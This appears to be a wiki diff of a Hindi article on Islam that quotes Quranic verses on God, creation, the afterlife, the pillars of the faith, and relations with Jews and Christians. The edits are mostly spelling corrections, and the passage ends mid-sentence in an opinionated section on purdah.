“'''हमने अरबी क़ुरान रचा कि तुमको ज्ञान हो। निस्सन्देह वह उत्तम ज्ञान-भण्डार हमारे पास पुस्तकों की माता (लौह महफूज) में लिखा है'''।“ <ref>53 : 1 : 3-5</ref>
  
−
जगदीश्वर ने क़ुरान में वर्णित ज्ञान को जगत के हित के लिए अपने प्रेरित मुहम्मद के हृदय में प्रकाशित किया, यही इस सबका भावार्थ है। अपने धर्म की शिक्षा देने वाले ग्रन्थ पर असाधारण श्रद्धा होना मनुष्य का स्वभाव है। यही कारण है कि क़ुरान के माहात्म्य के विषय में अनेक कथाएँ जनसमुदाय में प्रचलित हैं, यद्यपि उन सबका आधार श्रद्धा छोड़ कर क़ुरान में ढूँढ़ना युक्त नहीं है, किन्तु ऐसे वाक्यों का उसमें सर्वथा अभाव है, यह भी नहीं कहा जा सकता। एक स्थल पर कहा है-
+
जगदीश्वर ने क़ुरान में वर्णित ज्ञान को जगत् के हित के लिए अपने प्रेरित मुहम्मद के हृदय में प्रकाशित किया, यही इस सबका भावार्थ है। अपने धर्म की शिक्षा देने वाले ग्रन्थ पर असाधारण श्रद्धा होना मनुष्य का स्वभाव है। यही कारण है कि क़ुरान के माहात्म्य के विषय में अनेक कथाएँ जनसमुदाय में प्रचलित हैं, यद्यपि उन सबका आधार श्रद्धा छोड़ कर क़ुरान में ढूँढ़ना युक्त नहीं है, किन्तु ऐसे वाक्यों का उसमें सर्वथा अभाव है, यह भी नहीं कहा जा सकता। एक स्थल पर कहा है-
 
'''यदि हम इस क़ुरान को किसी पर्वत (वा पर्वत-सदृश कठोर हृदय) पर उतारते, तो अवश्य तू उसे परमेश्वर के भय से दबा और फटा देखता। इन दृष्टान्तों को मनुष्यों के लिए हम वर्णित करते है जिससे कि वह सोचें।'''<ref>59 : 3 : 4</ref>
 
'''यदि हम इस क़ुरान को किसी पर्वत (वा पर्वत-सदृश कठोर हृदय) पर उतारते, तो अवश्य तू उसे परमेश्वर के भय से दबा और फटा देखता। इन दृष्टान्तों को मनुष्यों के लिए हम वर्णित करते है जिससे कि वह सोचें।'''<ref>59 : 3 : 4</ref>
  
Line 53: Line 79:
  
 
==अल्लाह, फ़रिश्ते, शैतान==
 
==अल्लाह, फ़रिश्ते, शैतान==
−
दुनिया के सारे धर्म प्रायः सारे पदार्थों को दो श्रेणियों में विभक्त करते हैं, अर्थात जड़ और चेतन। चेतन के भी दो भेद हैं - ईश्वर, जीव। जीवों में ही फ़रिश्ते शैतान भी हैं।
+
दुनिया के सारे धर्म प्रायः सारे पदार्थों को दो श्रेणियों में विभक्त करते हैं, अर्थात् जड़ और चेतन। चेतन के भी दो भेद हैं - ईश्वर, जीव। जीवों में ही फ़रिश्ते शैतान भी हैं।
 
====अल्लाह====
 
====अल्लाह====
 
{{main|अल्लाह}}
 
{{main|अल्लाह}}
Line 60: Line 86:
 
*“उसने सचमुच भूमि और आकाश बनाया। मनुष्य का क्षुद्र वीर्य – बिन्दु से बनाया। उसने पशु बनाए, जिनसे गर्म वस्त्र पाते तथा और भी अनेक प्रकार के लाभ उठाते हो, एवं उन्हें खाते हो।“<ref>क़ुरान 16:1:2-5</ref>  
 
*“उसने सचमुच भूमि और आकाश बनाया। मनुष्य का क्षुद्र वीर्य – बिन्दु से बनाया। उसने पशु बनाए, जिनसे गर्म वस्त्र पाते तथा और भी अनेक प्रकार के लाभ उठाते हो, एवं उन्हें खाते हो।“<ref>क़ुरान 16:1:2-5</ref>  
 
*“वह तुम्हारा ईश्वर चीज़ों का बनाने वाला है। उसके सिवाय कोई भी पूज्य नहीं है।“<ref>क़ुरान 4:7:2</ref>  
 
*“वह तुम्हारा ईश्वर चीज़ों का बनाने वाला है। उसके सिवाय कोई भी पूज्य नहीं है।“<ref>क़ुरान 4:7:2</ref>  
−
*“ईश्वर सब चीज़ों का सृष्टा तथा अधिकारी है।“<ref>क़ुरान 39:6:10</ref>
+
*“ईश्वर सब चीज़ों का स्रष्टा तथा अधिकारी है।“<ref>क़ुरान 39:6:10</ref>
 
*“निस्सन्देह ईश्वर भूमि और आकाश को धारण किए हुए है कि वह नष्ट न हो जाए।“<ref>क़ुरान 35:5:4</ref>
 
*“निस्सन्देह ईश्वर भूमि और आकाश को धारण किए हुए है कि वह नष्ट न हो जाए।“<ref>क़ुरान 35:5:4</ref>
 
*“जो परमेश्वर मारता और जिलाता है।“<ref>क़ुरान 53:3:12</ref>
 
*“जो परमेश्वर मारता और जिलाता है।“<ref>क़ुरान 53:3:12</ref>
Line 72: Line 98:
 
<blockquote>“क़यामत के दिन हम ठीक तौलेंगे, किसी जीव पर कुछ भी अन्याय नहीं किया जाएगा। चाहे वह एक सरसों के बराबर ही क्यों न हो, किन्तु हमारे पास में पूरा हिसाब रहेगा।“<ref>क़ुरान 21:4:6</ref></blockquote>
 
<blockquote>“क़यामत के दिन हम ठीक तौलेंगे, किसी जीव पर कुछ भी अन्याय नहीं किया जाएगा। चाहे वह एक सरसों के बराबर ही क्यों न हो, किन्तु हमारे पास में पूरा हिसाब रहेगा।“<ref>क़ुरान 21:4:6</ref></blockquote>
 
*निम्न वाक्य के अनेक ईश्वरीय गुण बतलाए गए हैं -
 
*निम्न वाक्य के अनेक ईश्वरीय गुण बतलाए गए हैं -
−
<blockquote>“परमेश्वर जिसके सिवाय कोई भी ईश्वर नहीं है - जीवन और सत् है। उसे नींद या औंघ नहीं आती। जो कुछ भी भूमि और प्रकाश में है, वह उसी के लिए ही है। जो कि उसकी आज्ञा के बिना उसके पास सिफ़ारिश करे? वह जानता है, जो कुछ उनके आगे या पीछ है, वह कोई बात उससे छिपा नहीं सकते, सिवाय इसके कि जिसे वह चाहे विशाल भूमि और प्रकाश की कुर्सी, जिसकी रक्षा उसे नहीं थकाती वह उत्तम और महान है।“</blockquote><ref>क़ुरान 2:34:2</ref>
+
<blockquote>“परमेश्वर जिसके सिवाय कोई भी ईश्वर नहीं है - जीवन और सत् है। उसे नींद या औंघ नहीं आती। जो कुछ भी भूमि और प्रकाश में है, वह उसी के लिए ही है। जो कि उसकी आज्ञा के बिना उसके पास सिफ़ारिश करे? वह जानता है, जो कुछ उनके आगे या पीछ है, वह कोई बात उससे छिपा नहीं सकते, सिवाय इसके कि जिसे वह चाहे विशाल भूमि और प्रकाश की कुर्सी, जिसकी रक्षा उसे नहीं थकाती वह उत्तम और महान् है।“</blockquote><ref>क़ुरान 2:34:2</ref>
 
*परमेश्वर माता - पिता - स्त्री - पुत्रादि रहित है -
 
*परमेश्वर माता - पिता - स्त्री - पुत्रादि रहित है -
 
<blockquote>“न वह किसी से पैदा हुआ है, न उससे कोई पैदा है।“<ref>क़ुरान 112:1:3</ref></blockquote>
 
<blockquote>“न वह किसी से पैदा हुआ है, न उससे कोई पैदा है।“<ref>क़ुरान 112:1:3</ref></blockquote>
Line 94: Line 120:
 
#ज़रूरतमंदों को [[ज़कात]] (दान) देना
 
#ज़रूरतमंदों को [[ज़कात]] (दान) देना
 
#रमज़ान के महीने में सूर्योदय के पहले से लेकर सूर्यास्त तक रोज़ा रखना
 
#रमज़ान के महीने में सूर्योदय के पहले से लेकर सूर्यास्त तक रोज़ा रखना
−
#जीवन में कम से कम एक बार हज अर्थात मक्का स्थित काबा की यात्रा करना तथा
+
#जीवन में कम से कम एक बार हज अर्थात् मक्का स्थित काबा की यात्रा करना तथा
 
#इस्लाम की रक्षा के लिए ज़िहाद (धर्मयुद्ध) करना।
 
#इस्लाम की रक्षा के लिए ज़िहाद (धर्मयुद्ध) करना।
  
Line 108: Line 134:
 
इस्लाम में दो मुख्य सम्प्रदाय- [[शिया]] और [[सुन्नी]] मिलते हैं। मुहम्मद साहब की पुत्री फ़ातिमा और दामाद अली के बेटों हसन और हुसैन को पैगम्बर का उत्तराधिकारी मानने वाले मुसलमान 'शिया' कहलाते हैं। दूसरी ओर सुन्नी सम्प्रदाय ऐसा मानने से इन्कार करता है।  
 
इस्लाम में दो मुख्य सम्प्रदाय- [[शिया]] और [[सुन्नी]] मिलते हैं। मुहम्मद साहब की पुत्री फ़ातिमा और दामाद अली के बेटों हसन और हुसैन को पैगम्बर का उत्तराधिकारी मानने वाले मुसलमान 'शिया' कहलाते हैं। दूसरी ओर सुन्नी सम्प्रदाय ऐसा मानने से इन्कार करता है।  
 
==सलाम==
 
==सलाम==
−
मिलने जुलने आने जाने में सलाम का रिवाज है। सलाम करने वाला "'''अस्स्लामु अलैक़मु'''" कहता है जिसका अर्थ है तुम पर ख़ुदा की तरफ़ से सलामती हो, इसका जवाब है। "'''व अलेकुम अस्सलाम'''" अर्थात तुम पर सलामती हो।  
+
मिलने जुलने आने जाने में सलाम का रिवाज है। सलाम करने वाला "'''अस्स्लामु अलैक़मु'''" कहता है जिसका अर्थ है तुम पर ख़ुदा की तरफ़ से सलामती हो, इसका जवाब है। "'''व अलेकुम अस्सलाम'''" अर्थात् तुम पर सलामती हो।  
 
==यहूदी==
 
==यहूदी==
 
[[यहूदी धर्म]] के महात्मा, इब्राहीम इशाक़, दाऊद, सुलेमान के भी माननीय महात्मा और रसूल है। अपने वंश के प्रति बड़े अभिमानी यहूदी लोग महात्मा के मदीना (यस्रिब्) आने पर पहले कुछ समय तक तो मुसलमानों के विरोधी न थे, परन्तु जब उन्होंने देखा कि हमारी प्रधानता अब घट रही है और मुहम्मद का प्रभाव अधिक बढ़ता जा रहा है, तो वह भी द्रोही हो गये। इस्लाम की शिक्षा का बहुत-सा भाग यहूदी और ईसाई धर्मों से लिया गया है। दोनों धर्मों के प्रति आरम्भ ही से महात्मा की बड़ी श्रद्धा थी। यहाँ तक कि ‘नमाज़’ भी पहले मुसलमान लोग उन्हीं पवित्र स्थान ‘योरुशिलम्’ की ओर मुँह करके पढ़ते आ रहे थे। जब यहूदियों ने शत्रुता करनी शुरू की तो महात्मा मुहम्मद ने अपने अनुयायियों को ‘योरुशिलम्’ से मुँह हटाकर ‘काबा’ को अपना ‘किब्ला’ (सम्मुख का स्थान) बनाने की आज्ञा दी। यहूदियों के व्यवहार के विषय में कहा गया है-
 
[[यहूदी धर्म]] के महात्मा, इब्राहीम इशाक़, दाऊद, सुलेमान के भी माननीय महात्मा और रसूल है। अपने वंश के प्रति बड़े अभिमानी यहूदी लोग महात्मा के मदीना (यस्रिब्) आने पर पहले कुछ समय तक तो मुसलमानों के विरोधी न थे, परन्तु जब उन्होंने देखा कि हमारी प्रधानता अब घट रही है और मुहम्मद का प्रभाव अधिक बढ़ता जा रहा है, तो वह भी द्रोही हो गये। इस्लाम की शिक्षा का बहुत-सा भाग यहूदी और ईसाई धर्मों से लिया गया है। दोनों धर्मों के प्रति आरम्भ ही से महात्मा की बड़ी श्रद्धा थी। यहाँ तक कि ‘नमाज़’ भी पहले मुसलमान लोग उन्हीं पवित्र स्थान ‘योरुशिलम्’ की ओर मुँह करके पढ़ते आ रहे थे। जब यहूदियों ने शत्रुता करनी शुरू की तो महात्मा मुहम्मद ने अपने अनुयायियों को ‘योरुशिलम्’ से मुँह हटाकर ‘काबा’ को अपना ‘किब्ला’ (सम्मुख का स्थान) बनाने की आज्ञा दी। यहूदियों के व्यवहार के विषय में कहा गया है-
Line 133: Line 159:
 
शत्रुता हो जाने पर यहूदियों के चर महात्मा के पास आ-आ कर उनकी शिक्षा और अन्य वृत्तान्तों का पता लगा अपने सर्दारों को खबर देते थे। वहाँ से यह खबर ‘मक्का’ वाले शत्रुओं को दे दी जाया करती थी। इन्हीं चर के विषय में यह वाक्य है-
 
शत्रुता हो जाने पर यहूदियों के चर महात्मा के पास आ-आ कर उनकी शिक्षा और अन्य वृत्तान्तों का पता लगा अपने सर्दारों को खबर देते थे। वहाँ से यह खबर ‘मक्का’ वाले शत्रुओं को दे दी जाया करती थी। इन्हीं चर के विषय में यह वाक्य है-
 
:‘पास में आये भक्ष्य अभोजी, उन झूठे दूतों को आज्ञा दे (कि न आवें) अथवा उपेक्षित कर दे। यदि उपेक्षा करे तो तेरी हानि नहीं कर सकते।‘<ref>5:6:8</ref>
 
:‘पास में आये भक्ष्य अभोजी, उन झूठे दूतों को आज्ञा दे (कि न आवें) अथवा उपेक्षित कर दे। यदि उपेक्षा करे तो तेरी हानि नहीं कर सकते।‘<ref>5:6:8</ref>
−
लड़कपन में एक बार ईसाई सन्यासी ‘बहेरा’ से महात्मा मुहम्मद की मुलाकात का ज़िक्र पहले आ चुका है। यौवनावस्था में भी उन्हें एक बार उस महापुरुष के सत्संग से लाभ उठाने का अवसर फिर प्राप्त हुआ। ऐसे ही तेजस्वी, सदाचारी महात्माओं के परिचय ने उनके हृदय से ईसाई-धर्म और उनके अनुयायियों के प्रति श्रद्धा उत्पन्न कर दी। क़ुरान में कहा है-
+
लड़कपन में एक बार ईसाई संन्यासी ‘बहेरा’ से महात्मा मुहम्मद की मुलाकात का ज़िक्र पहले आ चुका है। यौवनावस्था में भी उन्हें एक बार उस महापुरुष के सत्संग से लाभ उठाने का अवसर फिर प्राप्त हुआ। ऐसे ही तेजस्वी, सदाचारी महात्माओं के परिचय ने उनके हृदय से ईसाई-धर्म और उनके अनुयायियों के प्रति श्रद्धा उत्पन्न कर दी। क़ुरान में कहा है-
−
:‘यहूदियों’ और ‘काफ़िरों’ (नास्तिकों) में तू बहूत से क्रू र और डाहवाले आदमियों को पायेगा ; किन्तु जो अपने को ईसाई कहते हैं, उनमें से बहुतों को तू सौहार्द्र और समीपता से युक्त पायेगा ; क्योंकि उनमें निरभिमानी विद्वान् सन्यासी है।<ref>6:2:5</ref>
+
:‘यहूदियों’ और ‘काफ़िरों’ (नास्तिकों) में तू बहूत से क्रू र और डाहवाले आदमियों को पायेगा ; किन्तु जो अपने को ईसाई कहते हैं, उनमें से बहुतों को तू सौहार्द्र और समीपता से युक्त पायेगा ; क्योंकि उनमें निरभिमानी विद्वान् संन्यासी है।<ref>6:2:5</ref>
−
ईसाइयों से यों भी कोई आर्थिक चढ़ा-उतरी न थी जिससे कि उनका मुसलमानों के साथ विरोध होता। यद्यपि ईसाइयों की प्रशंसा इस प्रकार लिखी गई है ; किन्तु इसका अर्थ यह नहीं कि उनके सिद्धान्तों का खण्डन क़ुरान में नही किया गया है। ईसाई-धर्म में ईश्वर तीन रूप में विद्यमान माना जाता है-  
+
ईसाइयों से यों भी कोई आर्थिक चढ़ा-उतरी न थी जिससे कि उनका मुसलमानों के साथ विरोध होता। यद्यपि ईसाइयों की प्रशंसा इस प्रकार लिखी गई है ; किन्तु इसका अर्थ यह नहीं कि उनके सिद्धान्तों का खण्डन क़ुरान में नहीं किया गया है। ईसाई-धर्म में ईश्वर तीन रूप में विद्यमान माना जाता है-  
 
#पिता-जो स्वर्ग में रहता है
 
#पिता-जो स्वर्ग में रहता है
 
#पुत्र-प्रभु ईशु ख्रीष्ट जिन्होंने संसार के हितार्थ कुमारी मरियम के गर्भ से संसार में अवतार लिया और अज्ञानियों तथा अन्यायियों ने उन्हें सूली पए चढ़ा दिया
 
#पुत्र-प्रभु ईशु ख्रीष्ट जिन्होंने संसार के हितार्थ कुमारी मरियम के गर्भ से संसार में अवतार लिया और अज्ञानियों तथा अन्यायियों ने उन्हें सूली पए चढ़ा दिया
Line 152: Line 178:
 
‘वद्द’, ‘सुबाअ’, ‘यगूस’, ‘नस्र’ अपने इष्टों को कभी न छोड़ना चाहिये।<ref>क़ुरान 71:1:23</ref> ‘क़ुरान’ के उपदेश को वह लोग कहते थे- '''यह इस मुहम्मद की मन-गढ़न्त है।'''<ref>क़ुरान 11:3:11</ref> ‘इसको कोई विदेशी सिखाता है।... हम अच्छी तरह जानते हैं, उस सिखाने वाले की भाषा अरबी से भिन्न है और यह अरबी।‘<ref>क़ुरान 16:14:3</ref> वह लोग विश्वास के रसूल होने के बारे में कहते थे- वह लोग विश्वास नहीं करते जब तक वह भूमि से (जल का) सोता न निकाल दे या [[खजूर]], [[अंगूर]] आदि का (ऐसा) बगीचा न उत्पन्न कर दे जिसमें कि नहर बहती हो। अथवा अपने कहे अनुसार आकाश को टुकड़े-टुकड़े करके हमारे ऊपर न गिरा दे। या देवदूतों को प्रतिभू (जामिन) के तौर पर न लावे। या अच्छा महल (इसके लिए) हो जाय। अथवा आकाश पर चढ़ जाय। किन्तु उसके चढ़ने पर भी हम विश्वास नहीं करेंगे जब तक हम लोगों के पढ़ने लायक़ कोई लेख न लाये।“<ref>क़ुरान 17:10:7,10</ref>
 
‘वद्द’, ‘सुबाअ’, ‘यगूस’, ‘नस्र’ अपने इष्टों को कभी न छोड़ना चाहिये।<ref>क़ुरान 71:1:23</ref> ‘क़ुरान’ के उपदेश को वह लोग कहते थे- '''यह इस मुहम्मद की मन-गढ़न्त है।'''<ref>क़ुरान 11:3:11</ref> ‘इसको कोई विदेशी सिखाता है।... हम अच्छी तरह जानते हैं, उस सिखाने वाले की भाषा अरबी से भिन्न है और यह अरबी।‘<ref>क़ुरान 16:14:3</ref> वह लोग विश्वास के रसूल होने के बारे में कहते थे- वह लोग विश्वास नहीं करते जब तक वह भूमि से (जल का) सोता न निकाल दे या [[खजूर]], [[अंगूर]] आदि का (ऐसा) बगीचा न उत्पन्न कर दे जिसमें कि नहर बहती हो। अथवा अपने कहे अनुसार आकाश को टुकड़े-टुकड़े करके हमारे ऊपर न गिरा दे। या देवदूतों को प्रतिभू (जामिन) के तौर पर न लावे। या अच्छा महल (इसके लिए) हो जाय। अथवा आकाश पर चढ़ जाय। किन्तु उसके चढ़ने पर भी हम विश्वास नहीं करेंगे जब तक हम लोगों के पढ़ने लायक़ कोई लेख न लाये।“<ref>क़ुरान 17:10:7,10</ref>
 
====काफ़िरों की उक्तियाँ====
 
====काफ़िरों की उक्तियाँ====
−
क़ुरान में पुराने वसूलों के लिए अनेक चमत्कार लिखे है। जैसे महात्मा मूसा ने पत्थर से बारह जल-स्रोत बहा दिये, अपने आथियों को अवर्गीय भोजन, ‘मन्न’ और ‘सलवा’ दिया करते थे। इब्राहीम के पास तो खुदा बराबर ही आया करते थे। महात्मा ईसा आकाश पर चढ़ गये इत्यादि इन बातों ही को वह लोग भी कहते थे कि यदि तुम प्रभु-प्रेरित हो तो क्यों उसी प्रकार के चमत्कार नही दिखाते? और भी अनेक प्रकार से वह लोग हँसी उड़ाते थे। नीचे कुछ और अद्धरण उनके व्यवहारों का दिया जाता है-
+
क़ुरान में पुराने वसूलों के लिए अनेक चमत्कार लिखे है। जैसे महात्मा मूसा ने पत्थर से बारह जल-स्रोत बहा दिये, अपने आथियों को अवर्गीय भोजन, ‘मन्न’ और ‘सलवा’ दिया करते थे। इब्राहीम के पास तो खुदा बराबर ही आया करते थे। महात्मा ईसा आकाश पर चढ़ गये इत्यादि इन बातों ही को वह लोग भी कहते थे कि यदि तुम प्रभु-प्रेरित हो तो क्यों उसी प्रकार के चमत्कार नहीं दिखाते? और भी अनेक प्रकार से वह लोग हँसी उड़ाते थे। नीचे कुछ और अद्धरण उनके व्यवहारों का दिया जाता है-
 
:“भोजन करता है, बाज़ार में घूमता है, यह कैसा रसूल (प्रभु-प्रेरित) है? क्यों नहीं इसके पास देवदूत आता जो इसके साथ (हमें) डराता? क्यों नहीं इसके पास कोष (ख़ाज़ाना) और बाग़ हुआ, जिसका यह उपभोग करता?”<ref>25:1:7:8</ref>
 
:“भोजन करता है, बाज़ार में घूमता है, यह कैसा रसूल (प्रभु-प्रेरित) है? क्यों नहीं इसके पास देवदूत आता जो इसके साथ (हमें) डराता? क्यों नहीं इसके पास कोष (ख़ाज़ाना) और बाग़ हुआ, जिसका यह उपभोग करता?”<ref>25:1:7:8</ref>
 
:“क्या हम किसी पागल, दरिद्र, तुकबन्द (कवि) की बात में पड़कर अपने इष्टों को फेंक दें?”<ref>37:2:3</ref>
 
:“क्या हम किसी पागल, दरिद्र, तुकबन्द (कवि) की बात में पड़कर अपने इष्टों को फेंक दें?”<ref>37:2:3</ref>
Line 165: Line 191:
 
इन चारों को इस्लाम की आधार शिला भी माना जाता है।
 
इन चारों को इस्लाम की आधार शिला भी माना जाता है।
 
==क़ायनात, कर्मफल, जन्नत, दोज़ख़==
 
==क़ायनात, कर्मफल, जन्नत, दोज़ख़==
−
यहाँ पर मनुष्य के कर्म और उसके परिपाक के साधन सृष्टि, स्वर्ग आदि का वर्णन किया जाता है। सृष्टि तो उसके सिरजनहार का अनुमान होता है, जैसे कार्य से उसके कारण का। व्यवस्था की विचित्रता, रचना की विचित्रता, सौन्दर्य आदि गुणों की अधिकता से जगत किसी असाधारण शिल्प चतुरता से पूर्ण शक्ति का बनाया हुआ है। कोई–कोई दार्शनिक सृष्टि को भ्रमात्मक कहकर परमार्थ में उसकी सत्ता के इन्कारी होते हैं, किन्तु क़ुरान ऐसे जगत के मिथ्या होने को स्वीकार नहीं करता। कहा है—
+
यहाँ पर मनुष्य के कर्म और उसके परिपाक के साधन सृष्टि, स्वर्ग आदि का वर्णन किया जाता है। सृष्टि तो उसके सिरजनहार का अनुमान होता है, जैसे कार्य से उसके कारण का। व्यवस्था की विचित्रता, रचना की विचित्रता, सौन्दर्य आदि गुणों की अधिकता से जगत् किसी असाधारण शिल्प चतुरता से पूर्ण शक्ति का बनाया हुआ है। कोई–कोई दार्शनिक सृष्टि को भ्रमात्मक कहकर परमार्थ में उसकी सत्ता के इन्कारी होते हैं, किन्तु क़ुरान ऐसे जगत् के मिथ्या होने को स्वीकार नहीं करता। कहा है—
 
<blockquote>'''[[आकाश]], [[पृथ्वी]] और जो कुछ उनके मध्य में है, इन सबको मिथ्या नहीं, एक निर्दिष्ट उद्देश्य से उत्पन्न किया गया है।<ref>46:1:3, 42:2:9, 45:3:1</ref>'''</blockquote>
 
<blockquote>'''[[आकाश]], [[पृथ्वी]] और जो कुछ उनके मध्य में है, इन सबको मिथ्या नहीं, एक निर्दिष्ट उद्देश्य से उत्पन्न किया गया है।<ref>46:1:3, 42:2:9, 45:3:1</ref>'''</blockquote>
  
Line 175: Line 201:
 
*अपरञ्च—
 
*अपरञ्च—
 
“क्या तू नहीं देखता, परमेश्वर ही ने [[जल]] उतारा, फिर उससे अनेक प्रकार के [[भारत के फल|फल]] और [[पर्वत|पर्वतों]] में श्वेत, [[रक्त]], अति [[कृष्ण]] आदि अनेक वर्ण की उपत्यका उत्पन्न हुई। कीड़े, पशु और मनुष्यों में बहुत प्रकार के वर्ण वाले प्राणी हैं। इस प्रकार के ज्ञान वाले भगवान से डरते हैं। परमेश्वर निस्सन्देह क्षमाशील और बलिष्ठ है।“<ref>35:4:1,2</ref> ईश्वर की कृपा कटाक्ष द्वारा मनुष्यों का कोटि–कोटि उपकार हो रहा है, इसलिए उससे कृतध्न होना ठीक नहीं।
 
“क्या तू नहीं देखता, परमेश्वर ही ने [[जल]] उतारा, फिर उससे अनेक प्रकार के [[भारत के फल|फल]] और [[पर्वत|पर्वतों]] में श्वेत, [[रक्त]], अति [[कृष्ण]] आदि अनेक वर्ण की उपत्यका उत्पन्न हुई। कीड़े, पशु और मनुष्यों में बहुत प्रकार के वर्ण वाले प्राणी हैं। इस प्रकार के ज्ञान वाले भगवान से डरते हैं। परमेश्वर निस्सन्देह क्षमाशील और बलिष्ठ है।“<ref>35:4:1,2</ref> ईश्वर की कृपा कटाक्ष द्वारा मनुष्यों का कोटि–कोटि उपकार हो रहा है, इसलिए उससे कृतध्न होना ठीक नहीं।
−
*क़ुरान में वर्णित जगत की उत्पत्ति, उसके दो शब्दों के अर्थ से भली प्रकार विदित हो सकती है। वह है—‘क़ुनु फ़–यकुन’ (हो, फिर होता है)। भगवान ने कहा—हो, फिर यह जगत हो जाता है। उपादान आदि कारणों का कोई झगड़ा नहीं है। सर्वशक्तिमान होने से उसने बिना उपादान कारण ही के जगत बना डाला। इस प्रकार असद से सद की उत्पत्ति ही क़ुरान प्रतिपादित सृष्टि है। यहूदी और ईसाई धर्म में भी यही सृष्टि–विषयक सिद्धान्त स्वीकार किया गया है। उनके विचार में, यदि दूसरे प्रकार से माना जाए तो ईश्वर सर्वशक्तिमान नहीं रह सकता। किसी को सन्देह हो कि क्या जाने अभिन्न निमित्तोपादानता (वह निमित्त और वही उपादान कारण है) को स्वीकार करते हों। किन्तु इस बात को इस वाक्य ने ही स्पष्ट कर दिया, जिसमें कहा है—‘न वह उत्पादक है और न वह उत्पन्न हुआ है।‘ यहाँ उपादान कारण से जगत उत्पन्न करने में भगवान की उत्पादकता का निषेध है। न कि बिना उपादान ही असत से। उनका कहना है, यदि स्वयं उपादान कारण है तो निर्विकार नहीं रह सकता, यदि उसे अन्य उपादान कारण की अपेक्षा है तो सर्वशक्तिमान नहीं रहता। जहाँ–तहाँ सृष्टि विषय को यहाँ संक्षेप में उद्धृत किया जाता है।
+
*क़ुरान में वर्णित जगत् की उत्पत्ति, उसके दो शब्दों के अर्थ से भली प्रकार विदित हो सकती है। वह है—‘क़ुनु फ़–यकुन’ (हो, फिर होता है)। भगवान ने कहा—हो, फिर यह जगत् हो जाता है। उपादान आदि कारणों का कोई झगड़ा नहीं है। सर्वशक्तिमान होने से उसने बिना उपादान कारण ही के जगत् बना डाला। इस प्रकार असद से सद की उत्पत्ति ही क़ुरान प्रतिपादित सृष्टि है। यहूदी और ईसाई धर्म में भी यही सृष्टि–विषयक सिद्धान्त स्वीकार किया गया है। उनके विचार में, यदि दूसरे प्रकार से माना जाए तो ईश्वर सर्वशक्तिमान नहीं रह सकता। किसी को सन्देह हो कि क्या जाने अभिन्न निमित्तोपादानता (वह निमित्त और वही उपादान कारण है) को स्वीकार करते हों। किन्तु इस बात को इस वाक्य ने ही स्पष्ट कर दिया, जिसमें कहा है—‘न वह उत्पादक है और न वह उत्पन्न हुआ है।‘ यहाँ उपादान कारण से जगत् उत्पन्न करने में भगवान की उत्पादकता का निषेध है। न कि बिना उपादान ही असत से। उनका कहना है, यदि स्वयं उपादान कारण है तो निर्विकार नहीं रह सकता, यदि उसे अन्य उपादान कारण की अपेक्षा है तो सर्वशक्तिमान नहीं रहता। जहाँ–तहाँ सृष्टि विषय को यहाँ संक्षेप में उद्धृत किया जाता है।
  
 
====जन्नत====
 
====जन्नत====
Line 215: Line 241:
  
 
====पर्दा====
 
====पर्दा====
−
पहले वाक्य में तो चादर ढाँकने का अभिप्राय मुसलमान जानी जाने, तथा न सतायी जाने के लिए कहा गया है। दूसरे वाक्य में भी सौन्दर्य को दिखाने से रोकने का अभिप्राय बोराबन्दी लेना अन्याय है। स्पष्ट अर्थ तो यह है कि जैसे पाश्चात्य स्त्री समाज में सौन्दर्य दिखलाने का रोग यहाँ तक लग गया है कि जाड़े–पाले में भी, आधा वक्षस्थल नंगा ही रखती हैं। कहीं वही बात स्त्रियों में न घुसने लगे। दरअसल इस प्रकार की बीमारी स्त्री–पुरुष दोनों समाजों में भी किसी प्रकार से आना ठीक नहीं है। कहावत है कि 'शैतान भी अपने मतलब को सिद्ध करने के लिए शास्त्र की दुहाई देता है', उसी प्रकार यह मुसलमान पतियों का सरासर अन्याय है, जो कि क़ुरान में लिखे पर्दा ही पर सन्तोष न कर उन्होंने स्त्रियों को सात संगीन पर्दे में बंद रखा है। क़ुरान ने तो विशेष श्रृगार आदि के न दिखाई देने के लिए कुछ विशेष अंगों को ढाँकने के लिए कहा, किन्तु यहाँ लोगों ने सारे बदन को ही ढाँकने पर बस न की, ऊपर से सात तालों के अन्दर भी उन्हें बन्द करना उचित समझा। यह केवल मुसलमान पुरुषों की ही बात नहीं, सच कहते हैं 'गुरु तो गुरु ही रह गए, चेला चीनी हो गया।' हिन्दुओं के पुरुषों ने कभी न सुना होगा कि पर्दा–प्रथा किस चिड़िया का नाम है। आज भी [[महाराष्ट्र]], [[गुजरात]], [[कर्नाटक]], [[आन्ध्र प्रदेश]], मालाबार इत्यादि आधे से अधिक [[भारत|भारतवर्ष]] के हिन्दू पर्दा को नहीं जानते। किन्तु जिस प्रकार आज अंग्रेज़ी राज्य में बहुत से अंग्रेज़ों का खान–पान, रहन–सहन गौरवपूर्ण समझ हिन्दुओं ने मुसलमानों की इस रीति को अपनाकर उसने और तरक्की की। पहले–पहल इन रीतियों को धनिकों और बड़े आदमी कहे जाने वाले लोगों ने लिया, पीछे बड़े आदमी बनने की इच्छा वाले सभी लोगों ने अपनी स्त्रियों पर इस नये दण्ड–विधान का प्रयोग आरम्भ कर दिया। शरीर में कोमलता की वृद्धि के लिए राजदाराओं को 'असूर्यपश्या' तो देखा गया है, किन्तु 'अचन्द्रपश्या' होने का सौभाग्य आज ही प्राप्त हुआ है।  
+
पहले वाक्य में तो चादर ढाँकने का अभिप्राय मुसलमान जानी जाने, तथा न सतायी जाने के लिए कहा गया है। दूसरे वाक्य में भी सौन्दर्य को दिखाने से रोकने का अभिप्राय बोराबन्दी लेना अन्याय है। स्पष्ट अर्थ तो यह है कि जैसे पाश्चात्य स्त्री समाज में सौन्दर्य दिखलाने का रोग यहाँ तक लग गया है कि जाड़े–पाले में भी, आधा वक्षस्थल नंगा ही रखती हैं। कहीं वही बात स्त्रियों में न घुसने लगे। दरअसल इस प्रकार की बीमारी स्त्री–पुरुष दोनों समाजों में भी किसी प्रकार से आना ठीक नहीं है। कहावत है कि 'शैतान भी अपने मतलब को सिद्ध करने के लिए शास्त्र की दुहाई देता है', उसी प्रकार यह मुसलमान पतियों का सरासर अन्याय है, जो कि क़ुरान में लिखे पर्दा ही पर सन्तोष न कर उन्होंने स्त्रियों को सात संगीन पर्दे में बंद रखा है। क़ुरान ने तो विशेष श्रृगार आदि के न दिखाई देने के लिए कुछ विशेष अंगों को ढाँकने के लिए कहा, किन्तु यहाँ लोगों ने सारे बदन को ही ढाँकने पर बस न की, ऊपर से सात तालों के अन्दर भी उन्हें बन्द करना उचित समझा। यह केवल मुसलमान पुरुषों की ही बात नहीं, सच कहते हैं 'गुरु तो गुरु ही रह गए, 